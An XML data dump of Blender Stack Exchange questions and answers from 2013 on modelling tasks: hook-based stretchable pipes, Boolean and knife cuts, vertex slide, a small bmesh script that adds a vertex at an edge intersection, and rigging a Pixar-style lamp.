  <row Id="2967" PostTypeId="1" AcceptedAnswerId="2968" CreationDate="2013-09-17T21:51:27.617" Score="7" ViewCount="1263" Body="&lt;p&gt;I'm trying to create a pipe that will bend and stretch, which I can then export to Unity. Bending I can do, but I have no idea how or if I could stretch. Is it possible? Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm aiming for is, in my Unity game, to be able to anchor one of the pipe to the ground, and then, as I drag the other end of the pipe away, it keeps stretching (increasing it's length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - Imaging holding a length of string with one end in each hand. In the dull reality we live in, the string wouldn't stretch, but in lovely virtual world, I'd like the string to extend in length as far as you pull it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have a handle on doing this in Unity, so if it's not simple for a Blender newb, I'll stick with what I know :)&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="743" LastEditDate="2013-12-16T07:04:20.673" LastActivityDate="2013-12-16T07:04:20.673" Title="Stretchable pipe (for export to Unity)" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;external-applications&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2968" PostTypeId="2" ParentId="2967" CreationDate="2013-09-17T22:06:42.697" Score="3" Body="&lt;p&gt;I'm not entirely sure what you want, but you can make a &quot;stretchable pipe&quot; in Blender by using &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Hooks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hooks&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cylinder with a fill type of &lt;em&gt;Nothing&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add hook to one end by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;&lt;em&gt;&gt; Hook to new object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/38QbD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will add an empty with a &lt;em&gt;Hook modifier&lt;/em&gt; that you can control the hooked vertices with.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a hook to the other end.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you can manipulate the newly created empties to stretch the &quot;pipe&quot;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-18T16:49:30.360" LastActivityDate="2013-09-18T16:49:30.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2969" PostTypeId="1" AcceptedAnswerId="3145" CreationDate="2013-09-17T23:45:47.503" Score="2" ViewCount="447" Body="&lt;p&gt;I made a customized startup.blend with nodegroups and other assets I use a lot by appending the appropriate data blocks from other files, then pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now when I press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt; to append in a new file, the file browser opens in the last blendfile I appended from when I set up my default .blend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to not open in any blendfile, just in the default directory (By default I mean the one which appears when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt; in a new file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to explicitly define what directory should be opened when I press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;, navigating to the directory I would like to default, and pressing &lt;em&gt;Append&lt;/em&gt;, but I get the error &lt;code&gt;Not a Library&lt;/code&gt;, obviously because I have not selected a blendfile.  Even if I save the default .blend after doing this, it will not overwrite the previously saved default location for appending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-01T22:55:41.387" LastActivityDate="2013-10-02T00:03:09.180" Title="Set default append location?" Tags="&lt;customization&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2970" PostTypeId="1" AcceptedAnswerId="2972" CreationDate="2013-09-18T00:57:14.087" Score="11" ViewCount="42093" Body="&lt;p&gt;I have an extruded rectangle that intersects the side of the cylinder. I need this extruded rectangle to cut a hole out of the side of the cylinder. Below is a picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CODfP.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;(Ignore the middle segment)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the Boolean modifier but it didn't work (yes, I tried all 3 options).&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-10-17T04:02:30.563" LastActivityDate="2015-10-17T04:02:30.563" Title="Cut mesh at intersection" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2971" PostTypeId="2" ParentId="2970" CreationDate="2013-09-18T01:03:48.310" Score="9" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TKHEB.png&quot; alt=&quot;Knife Project Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to use &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;noreferrer&quot;&gt;Knife Project&lt;/a&gt;&lt;/em&gt;. This tool takes one mesh and cuts the second mesh according to the outline of the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the cutting mesh needs to be outside the cutted one, you need to select the cutting part and separate it with &lt;kbd&gt;P&lt;/kbd&gt;. Then leave editmode, select your cutting mesh, then shift-select the main mesh and enter &lt;em&gt;Edit Mode&lt;/em&gt;. Adjust the view, so you are looking in the direction of the cuts. Finally use the button in the &lt;em&gt;Mesh Tools&lt;/em&gt; or find it in the &lt;kbd&gt;Space&lt;/kbd&gt; menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all you have to to is to go into &lt;em&gt;Object Mode&lt;/em&gt; and join both meshes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; and stitch them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow I'd recommend would be to make three loop cuts and extrude that. You can scale the front of the second mesh to zero to flatten it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WF2zt.gif&quot; alt=&quot;workflow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mesh is not for the game engine, I recommend giving the object some thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ppvyw.jpg&quot; alt=&quot;topology advice&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-18T02:15:14.690" LastActivityDate="2013-09-18T02:15:14.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2972" PostTypeId="2" ParentId="2970" CreationDate="2013-09-18T01:05:07.563" Score="11" Body="&lt;h1&gt;Boolean&lt;/h1&gt;&#xA;&lt;p&gt;The Boolean modifier needs a closed mesh to work properly, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans#Description&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This means that this modifier will only work properly for the&#xA;intersection of faces of the two meshes that will result in another&#xA;closed loop of edges (filled with faces), creating a new resulting&#xA;face topology.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(You can have an open mesh as long as the open parts do not intersect or interact with the boolean operation)&lt;/p&gt;&#xA;&lt;p&gt;Removing the middle section of the cube should fix it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vn81C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may also need to recalculate the normals (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Also ensure that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Modifier is applied to the cylinder.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Operation&lt;/em&gt; is set to &lt;em&gt;Difference&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHJLL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Knife&lt;/h1&gt;&#xA;&lt;p&gt;In addition to the &lt;em&gt;Knife project&lt;/em&gt; tool mentioned by &lt;a href=&quot;https://blender.stackexchange.com/a/2971/599&quot;&gt;Haunt_House&lt;/a&gt;, You may want to use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;noreferrer&quot;&gt;Knife tool&lt;/a&gt; for this:&lt;/p&gt;&#xA;&lt;p&gt;In edit mode, press &lt;kbd&gt;K&lt;/kbd&gt; to start the knife tool and &lt;kbd&gt;C&lt;/kbd&gt; to enable &lt;em&gt;Angle Constrain&lt;/em&gt;. (you may need to hold shift at some points to place a cut, due to the view not being aligned perfectly to the topology)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WdFXS.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/s41Nt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Modeling&lt;/h1&gt;&#xA;&lt;p&gt;Another simple way to do this is to use &lt;em&gt;Loopcuts&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; and use the scrollwheel or the keyboard to set the number of cuts:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Mb54.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can then use &lt;em&gt;Edge slide&lt;/em&gt; (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&amp;gt; Edge slide&lt;/em&gt;) to slide them into the correct position:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OijV0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;An advantage to this is that this does not produce &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh#Create_faces_with_N-gons&quot; rel=&quot;noreferrer&quot;&gt;N-gons&lt;/a&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/questions/89/when-should-n-gons-be-used-and-when-shouldnt-they&quot;&gt;this&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-18T01:58:33.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2973" PostTypeId="1" AcceptedAnswerId="2975" CreationDate="2013-09-18T01:27:49.370" Score="9" ViewCount="1470" Body="&lt;p&gt;I want to create a list with everything the spacebar operator search can produce. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="55" LastEditDate="2013-09-18T03:33:13.367" LastActivityDate="2020-02-09T01:23:50.547" Title="How to get the entire list of operators?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2974" PostTypeId="2" ParentId="2966" CreationDate="2013-09-18T02:07:11.200" Score="5" Body="&lt;p&gt;It removes the object from that scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the method is not called &lt;code&gt;remove&lt;/code&gt; is that the object its self is not removed. Objects can exist in multiple scenes and groups. So scenes link to objects but don't store them (this is why you have &lt;code&gt;bpy.data.objects&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object-base is freed, mostly object-base is not exposed to the api, but in some cases accessing is important.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-18T03:45:25.420" LastActivityDate="2013-09-18T03:45:25.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2975" PostTypeId="2" ParentId="2973" CreationDate="2013-09-18T02:11:44.017" Score="6" Body="&lt;p&gt;Yes,&#xA;See: &lt;code&gt;Help -&amp;gt; Operator Cheat Sheet&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This operator is written in Python, See : &lt;code&gt;startup/bl_operators/wm.py&lt;/code&gt; for the source is you like to get this data for your own use in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result can be viewed in the text editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSUhq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="29" LastEditDate="2013-09-18T21:00:00.117" LastActivityDate="2013-09-18T21:00:00.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2976" PostTypeId="1" AcceptedAnswerId="187885" CreationDate="2013-09-18T03:22:40.200" Score="57" ViewCount="82348" Body="&lt;p&gt;I need to put a point at the intersection of two edges. Below is a picture with red circles around where I need points to be placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LF4IL.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="3078" LastEditDate="2016-01-15T10:25:27.730" LastActivityDate="2020-10-28T12:04:43.470" Title="How can I add vertices to intersection of two edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="9" CommentCount="3" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="2977" PostTypeId="2" ParentId="2976" CreationDate="2013-09-18T04:23:21.477" Score="8" Body="&lt;p&gt;There are several approaches. The &lt;a href=&quot;https://blender.stackexchange.com/questions/805/is-there-any-good-way-to-snap-to-intersection&quot;&gt;Dynamic Spacebar Addon answer&lt;/a&gt; might be one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some other:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of creating the three parts in &lt;em&gt;Edit Mode&lt;/em&gt;, create them in &lt;em&gt;Object Mode&lt;/em&gt; as linked copies with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and rotate them. If you now go into editmode, you can adjust the length by using &lt;kbd&gt;G&lt;/kbd&gt; and restraining to a local axis by pressing &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; twice. With enough zoom you can adjust the verts to meet and then merge them with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; or the Magnet Tool. &lt;em&gt;Remove Doubles&lt;/em&gt; should work too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the Knife. Select all verts, zoom in a lot and cut the edges with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;K&lt;/kbd&gt; (shift to cut all edges) where they intersect. Then clean up. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can select the verts of the upper vertical part, and move them up until they meet the side part's edges. Then use the cursor as pivot point with &lt;kbd&gt;Dot&lt;/kbd&gt;. Copy one of them and rotate it 120 degrees around the cursor to get the third intersection point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Knife Project Tool&lt;/a&gt; to cut them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use a three sided cylinder and extrude it outward. While in &lt;em&gt;Face Select&lt;/em&gt; mode, select the three sides and use Mesh&gt;&gt;Extrude&gt;&gt;Individual Faces (if you have cubes instead of planes in your example). Sometimes reversing the workflow is a good idea.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;em&gt;Vertex slide&lt;/em&gt;. Select the vertices and press &lt;kbd&gt;G&lt;/kbd&gt; twice, then slide the vertices along the edges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the placement of the parts isn't critical, you can use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Magnet&lt;/a&gt;&lt;/em&gt; to snap the edges together.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ordinary &lt;em&gt;Knife Tool&lt;/em&gt; has snapping functionality. With everything selected, snap it to both ends of an edge and the intersecting edge will be cut. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-09-18T18:22:38.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2978" PostTypeId="1" AcceptedAnswerId="2979" CreationDate="2013-09-18T04:59:28.197" Score="30" ViewCount="69410" Body="&lt;p&gt;I have a line with a point in the center (2 edges with 3 points that forms a straight line). How do I slide the middle point along the straight line it resides on?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-10-19T17:05:07.437" LastActivityDate="2019-08-02T22:59:18.417" Title="Sliding a point along an edge?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="2979" PostTypeId="2" ParentId="2978" CreationDate="2013-09-18T04:59:28.197" Score="48" Body="&lt;p&gt;Using &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/editing/vertices.html#vertex-slide&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Vertex Slide&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the point and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; or &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;. Then move it to the desired point on the line with the mouse and click to set it. Hold &lt;kbd&gt;Alt&lt;/kbd&gt; to slide it past the end of the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, this can be reached through the Edit Mode toolbar menus: &lt;em&gt;Vertex&lt;/em&gt; -&gt; &lt;em&gt;Slide Vertices&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHC93.png&quot; alt=&quot;Vertex -&amp;gt; Slide Vertices&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or through the right-click context menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgsdE.png&quot; alt=&quot;Context menu -&amp;gt; Slide Vertices&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2019-08-02T22:59:18.417" LastActivityDate="2019-08-02T22:59:18.417" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2981" PostTypeId="1" AcceptedAnswerId="2982" CreationDate="2013-09-18T05:23:34.080" Score="11" ViewCount="1761" Body="&lt;p&gt;The first &lt;em&gt;Vertex Slide&lt;/em&gt; tool took an additional click, but you could push the vertex beyond the end of the edge. Is there a setting or method to achieve that with 2.68?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old method of placing the cursor at the opposite vertex and scale away from it is wonderfully nostalgic, but a bit time consuming.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="20" LastEditDate="2013-09-18T18:21:39.543" LastActivityDate="2013-09-18T22:13:05.763" Title="Vertex slide past edge limit?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2982" PostTypeId="2" ParentId="2981" CreationDate="2013-09-18T05:53:46.607" Score="16" Body="&lt;p&gt;Yes, by using the &lt;strong&gt;Clamp&lt;/strong&gt; setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access by holding &lt;kbd&gt;Alt&lt;/kbd&gt;, or toggle with &lt;kbd&gt;C&lt;/kbd&gt;. This allows you to slide past the (0-1) limit and also prevents switching to slide along other edges then the ones currently selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is available in the header text during vertex slide.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-18T22:13:05.763" LastActivityDate="2013-09-18T22:13:05.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2983" PostTypeId="1" CreationDate="2013-09-18T06:15:45.740" Score="5" ViewCount="1343" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tglKA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am rigging a Pixar lamp as shown in the screenshot above. The lamp bone is tracking 'bulbtarget' and the neck bone is copying the rotation of 'rotateneck'.&#xA;I want the rotation of lamp bone to be around the joint between rod and lamp like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZngu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I added an empty object at that joint and changed the pivot point of lamp, but this isn't working well. How can I make both parts move together without any gap?&lt;/p&gt;&#xA;&lt;p&gt;If I connect the bones without all the fuss then the problem goes away, but the lamp object won't point towards the target, it will move at some offset angle.&lt;/p&gt;&#xA;" OwnerUserId="1098" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-19T05:33:56.970" Title="Rigging a pixar lamp" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2985" PostTypeId="2" ParentId="2978" CreationDate="2013-09-18T07:20:11.597" Score="6" Body="&lt;p&gt;Select the vertex and use &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;V&lt;/kbd&gt; or &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to move along the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderbits.com/2013/09/02/blender-vertex-constraints-on-faces/&quot;&gt;http://blenderbits.com/2013/09/02/blender-vertex-constraints-on-faces/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1251" LastEditorUserId="1077" LastEditDate="2013-09-18T12:31:41.990" LastActivityDate="2013-09-18T12:31:41.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2986" PostTypeId="2" ParentId="2976" CreationDate="2013-09-18T09:27:08.803" Score="35" Body="&lt;p&gt;If all you really want is to add a vertex at the position of intersection, then something like this script would work: (this even adds the vertex at the  projected intersection of two lines, or the closest point if they never intersect)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;import bpy&#xA;from mathutils import geometry&#xA;&#xA;def add_vertex_to_intersection():&#xA;&#xA;    obj = bpy.context.object&#xA;    me = obj.data&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    edges = [e for e in bm.edges if e.select]&#xA;&#xA;    if len(edges) == 2:&#xA;        [[v1, v2], [v3, v4]] = [[v.co for v in e.verts] for e in edges]&#xA;&#xA;        iv = geometry.intersect_line_line(v1, v2, v3, v4)&#xA;        iv = (iv[0] + iv[1]) / 2&#xA;        bm.verts.new(iv)&#xA;        bmesh.update_edit_mesh(me)&#xA;&#xA;add_vertex_to_intersection()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this &lt;em&gt;does not&lt;/em&gt; attach the vertex to any edges/faces. Here it is &lt;a href=&quot;https://gist.github.com/zeffii/6609319&quot; rel=&quot;noreferrer&quot;&gt;packaged as an addon&lt;/a&gt; accessible from: &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Place vertex at intersection&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is now part of mesh_tinyCAD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while back I added this feature to &lt;a href=&quot;https://github.com/zeffii/Blender_CAD_utils&quot; rel=&quot;noreferrer&quot;&gt;mesh_tinyCAD&lt;/a&gt;, and called it (Vertex to Intersection) &lt;em&gt;V2X&lt;/em&gt;. I use it to add guide-vertices to intersections and it is less potentially destructive than the &lt;em&gt;XALL&lt;/em&gt; or &lt;em&gt;VTX&lt;/em&gt; operations.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2016-01-15T08:44:18.167" LastActivityDate="2016-01-15T08:44:18.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2987" PostTypeId="2" ParentId="2983" CreationDate="2013-09-18T10:48:10.647" Score="4" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;This big lamp bone won't do much good there because it's root is in a place where the lamp doesn't have any joints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;I would solve that with two Locked Track constraints. The first one is for looking up and down. Parented to that is the second bone with another Locked Track to handle looking from left to right. Both are tracking the same target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PelK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the setup from Haunt's trick bag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bone 1 is the boss. It has a &lt;em&gt;Locked Track&lt;/em&gt; with Z locked and -x tracking bone 3. It can only move up and down. The blue joint is parented to that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bone 2 is parented to bone 1. It has a &lt;em&gt;Locked Track&lt;/em&gt; with X locked and Y pointing to 3. It can only move left and right. The red part of the lamp is parented to that bone. It doesn't matter at all how high bone 2 sits as long as it sits on the axis of the neck. It only rotates around the neck axis anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bone 3 is the target. One and two point there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bone 4 is there for convenience purposes. The root of bone 1 can't be in the middle of the lamp's head (bone 2 could be, but who cares, you'll hide them anyway), so there's an offset. Bone 4 has a &lt;em&gt;Copy Location Constraint&lt;/em&gt; to bone 3 and a &lt;em&gt;Copy Rotation Constraint&lt;/em&gt; to bone 1, so the tip of bone 4 is where the lamp is looking. You can make bone 4 unselectable in the outliner. That way you can't miss the target bone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;In the end, you'll only have two bones visible, possibly with customs shapes: bone 4, so you see the exact focus of your lamp and bone 3, so you can animate the head. Btw, Luxo's neck seems to be perpendicular to his head which makes things a little easier regarding his focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kaDFo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-19T05:33:56.970" LastActivityDate="2013-09-19T05:33:56.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
